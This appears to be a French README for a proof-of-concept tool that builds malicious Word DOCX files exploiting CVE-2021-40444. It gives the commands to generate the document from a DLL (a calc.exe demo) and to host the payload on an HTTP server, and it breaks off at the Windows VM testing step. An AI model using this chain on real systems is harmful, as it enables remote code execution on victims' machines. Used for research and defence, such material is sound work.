
Génère des documents DOCX malveillants exploitant CVE-2021-40444 (Microsoft Office Word RCE) avec un serveur HTTP intégré pour la distribution de la charge utile et l'exécution de calc basée sur DLL.
Générateur de docx malveillant pour exploiter CVE-2021-40444 (Exécution de code à distance dans Microsoft Office Word)
La création de ce script est basée sur du reverse engineering de l'échantillon utilisé dans la nature : 938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52 (fichier docx)
Vous devez d'abord installer lcab (sudo apt-get install lcab)
Consultez REPRODUCE.md pour les étapes de reproduction manuelle
Si votre cab généré ne fonctionne pas, essayez de pointer l'URL d'exploit.html vers calc.cab
Générez d'abord un document docx malveillant à partir d'une DLL, vous pouvez utiliser celle dans test/calc.dll qui exécute simplement calc.exe via un appel à system()
python3 exploit.py generate test/calc.dll http://<SRV IP>

Une fois le docx malveillant généré (sera dans out/), vous pouvez configurer le serveur :
sudo python3 exploit.py host 80

Enfin, testez le docx dans une machine virtuelle Windows :
